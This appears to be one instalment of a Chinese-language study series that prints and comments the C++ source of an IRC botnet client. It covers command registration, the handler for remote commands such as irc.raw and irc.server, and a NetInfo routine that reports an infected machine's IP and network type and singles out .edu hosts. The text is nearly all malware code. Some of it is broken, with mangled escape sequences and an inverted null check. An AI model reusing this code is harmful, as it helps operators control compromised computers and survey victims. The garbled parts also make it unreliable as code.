七、2008年3月11日
作者:青青子衿
email:[email protected]
1、CIRC 類中的 Init()成員函數
/////////////////////////////////////////////////////////////////////////////////////////////////
//
//函數功能:CIRC類的初始化函數, 爲bot添加irc相關的處理函數
//參數: 無
//返回值: void
//
///////////////////////////////////////////////////////////////////////////////////////////////
void CIRC :: Init ()
{
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdDisconnect , "irc.disconnect" , "disconnects the bot from irc" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdAction , "irc.action" , "lets the bot perform an action" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdGetEdu , "irc.getedu" , "prints netinfo when the bot is .edu" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdGetHost , "irc.gethost" , "prints netinfo when host matches" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdJoin , "irc.join" , "makes the bot join a channel" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdMode , "irc.mode" , "lets the bot perform a mode change" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdNetInfo , "irc.netinfo" , "prints netinfo" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdPart , "irc.part" , "makes the bot part a channel" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdPrivMsg , "irc.privmsg" , "sends a privmsg" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdQuit , "irc.quit" , "quits the bot" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdRaw , "irc.raw" , "sends a raw message to the irc server" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdReconnect , "irc.reconnect" , "reconnects to the server" , this );
g_cMainCtrl . m_cCommands . RegisterCommand (& m_cmdServer , "irc.server" , "changes the server the bot connects to" , this );
}
2、 bool CIRC :: HandleCommand ( CMessage * pMsg ) 函數的處理
////////////////////////////////////////////////////////////////////////////////////
//
//函數功能:處理與irc相關的命令
//參數: CMessage *pMsg 接收到的消息
//返回值: bool 處理正確返回true,否則返回false
//
///////////////////////////////////////////////////////////////////////////////////
bool CIRC :: HandleCommand ( CMessage * pMsg )
{
if (! pMsg -> sCmd . Compare ( "irc.disconnect" ) || ! pMsg -> sCmd . Compare ( "irc.reconnect" ))
{
//處理irc.disconnect 和irc.reconnect 命令
m_iServerNum =0; //服務器序號置0
m_iFailCount =0; //連接錯誤數置0
m_bJoined = false ; //標識斷開頻道
m_bConnected = false ; //標識斷開連接
xClose ( m_sSocket ); //#define xClose closesocket斷開套接字
m_sSocket = INVALID_SOCKET ; //將套接字變量置NULL
g_cMainCtrl . m_cMac . ClearLogins (); //清空登錄信息列表中保存的登錄數據
}
else if (! pMsg -> sCmd . Compare ( "irc.quit" )) //處理退出指令
{
Disconnect (); //調用本類中的成員函數Disconnect()
g_cMainCtrl . m_bRunning = false ; //將標識bot運行狀態的信息置false
}
else if (! pMsg -> sCmd . Compare ( "irc.action" )) //處理irc.action 指令:makes the bot send an action to the target
{
SendFormat ( false , false , pMsg -> sChatString . Token (1, " " ). Str (), //發送消息
"/1ACTION %s/1" , pMsg -> sChatString . Token (2, " " , true ). CStr ());
}
else if (! pMsg -> sCmd . Compare ( "irc.netinfo" ))
{
//處理irc.netinfo 消息,causes the bot to display network information
SendFormat ( pMsg -> bSilent , pMsg -> bNotice , pMsg -> sReplyTo . Str (), "%s" , NetInfo (). CStr ());
}
else if (! pMsg -> sCmd . Compare ( "irc.getedu" ))
{
//處理irc.getedu指令, makes bot reply with irc.netinfo if the hostname contains .edu
if ( m_sLocalHost . Find ( ".edu" ) || m_sLocalHost . Find ( ".Edu" ) || m_sLocalHost . Find ( ".EDU" ))
{
SendFormat ( pMsg -> bSilent , pMsg -> bNotice , pMsg -> sReplyTo . Str (), "%s" , NetInfo (). CStr ());
}
}
else if (! pMsg -> sCmd . Compare ( "irc.gethost" ))
{
//處理irc.gethost指令,makes bot reply with irc.netinfo if the hostname contains the specified hostpart
if ( m_sLocalHost . Find ( pMsg -> sChatString . Token (1, " " )))
{
SendFormat ( pMsg -> bSilent , pMsg -> bNotice , pMsg -> sReplyTo . Str (), "%s" , NetInfo (). CStr ());
}
}
else if (! pMsg -> sCmd . Compare ( "irc.join" ))
{
//處理irc.join指令,makes the bot join part the specified channel
SendRawFormat ( "JOIN %s %s/r/n" , pMsg -> sChatString . Token (1, " " ). CStr (), pMsg -> sChatString . Token (2, " " ). CStr ());
}
else if (! pMsg -> sCmd . Compare ( "irc.part" ))
{
//處理irc.part指令
SendRawFormat ( "PART %s/r/n" , pMsg -> sChatString . Token (1, " " ). CStr ());
}
else if (! pMsg -> sCmd . Compare ( "irc.raw" ))
{
//處理irc.raw 指令,makes the bot send raw string to the server
CString sStr ;
sStr . Format ( "%s/r/n" , pMsg -> sChatString . Token (1, " " , true ). CStr ());
SendRaw ( sStr . Str ());
}
else if (! pMsg -> sCmd . Compare ( "irc.privmsg" ))
{
//處理irc.privmsg指令,makes the bot send a privmsg to the target
SendMsg ( false , false , pMsg -> sChatString . Token (2, " " , true ). Str (), pMsg -> sChatString . Token (1, " " ). Str ());
}
else if (! pMsg -> sCmd . Compare ( "irc.mode" ))
{
//處理irc.mode指令, makes the the bot change irc modes
SendRawFormat ( "MODE %s %s %s/r/n" , pMsg -> sChatString . Token (1, " " ). CStr (), pMsg -> sChatString . Token (2, " " ). CStr (), pMsg -> sChatString . Token (3, " " ). CStr ());
}
else if (! pMsg -> sCmd . Compare ( "irc.server" ))
{
//處理irc.server 指令
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_server , pMsg -> sChatString . Token (1, " " ). CStr ());
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_port , pMsg -> sChatString . Token (2, " " ). CStr ());
g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_servpass , pMsg -> sChatString . Token (3, " " ). CStr ());
}
return false ;
}
3、 CString CIRC :: NetInfo () 函數, 獲得bot自身所在網絡的,網絡信息
////////////////////////////////////////////////////////////////////
//
//函數功能:獲得bot自身所在網絡的,網絡信息
//參數: 無
//返回值: CString 用來保存獲得的各種網絡信息
//
////////////////////////////////////////////////////////////////////
CString CIRC :: NetInfo ()
{
CString sNetInfo ;
sockaddr sa ;
socklen_t sas ;
// get ip address
sas = sizeof ( sa );
memset (& sa , 0, sizeof ( sa ));
getsockname ( m_sSocket , & sa , & sas ); //取一個套接口的本地名字
#ifdef WIN32
// get connection type/name
unsigned long n ;
char ctype [8];
char cname [128];
memset ( cname , 0, sizeof ( cname ));
memset ( ctype , 0, sizeof ( ctype ));
HINSTANCE wininet_dll = LoadLibrary ( "WININET.DLL" );
if ( wininet_dll )
{
fInternetGetConnectedStateEx =( IGCSE ) GetProcAddress ( wininet_dll , "InternetGetConnectedStateEx" );
if (! fInternetGetConnectedStateEx )
{
fInternetGetConnectedStateEx (& n , ( char *)& cname , sizeof ( cname ), 0); //cname獲得連接的名稱
if ( n && INTERNET_CONNECTION_MODEM == INTERNET_CONNECTION_MODEM )
{
//檢測出爲撥號上網
strncpy ( ctype , "dial-up" , sizeof ( ctype )-1);
}
else
{
//使用局域網
strncpy ( ctype , "LAN" , sizeof ( ctype )-1);
}
}
else
{
//N/A網絡,推測這裏指的是NAT網絡
strncpy ( ctype , "N/A" , sizeof ( ctype )-1);
strncpy ( cname , "N/A" , sizeof ( cname )-1);
}
}
#else
// Fixme! add connection type detection for linux
//這裏可以添加linux平臺上的,獲得網絡狀況的函數
#endif // WIN32
char szIP [16];
sprintf ( szIP , "%d.%d.%d.%d" ,
( unsigned char ) sa . sa_data [2], ( unsigned char ) sa . sa_data [3], //獲得Bot自身的IP地址
( unsigned char ) sa . sa_data [4], ( unsigned char ) sa . sa_data [5]);
sNetInfo . Assign ( "" );
sNetInfo . Append ( "connection type: " );
#ifdef WIN32 //如果是win平臺,可以得到以下信息
sNetInfo . Append ( ctype );
sNetInfo . Append ( " (" );
sNetInfo . Append ( cname );
sNetInfo . Append ( "). " );
#else //如果是linux平臺,返回結果只能告訴用戶,bot在linux平臺
sNetInfo . Append ( "Linux. " );
#endif // WIN32
sNetInfo . Append ( "local IP address: " ); sNetInfo . Append ( szIP ); sNetInfo . Append ( ". " );
sNetInfo . Append ( "connected from: " ); sNetInfo . Append ( m_sLocalHost ); sNetInfo . Append ( ". " );
sNetInfo . Append ( "private ip: " );
if ( IsPrivate ( szIP )) //判斷是否是私有網絡,通過IP地址是否是10或192或172來判斷
{
sNetInfo . Append ( "yes. " );
}
else
{
sNetInfo . Append ( "no. " );
}
return sNetInfo ;
}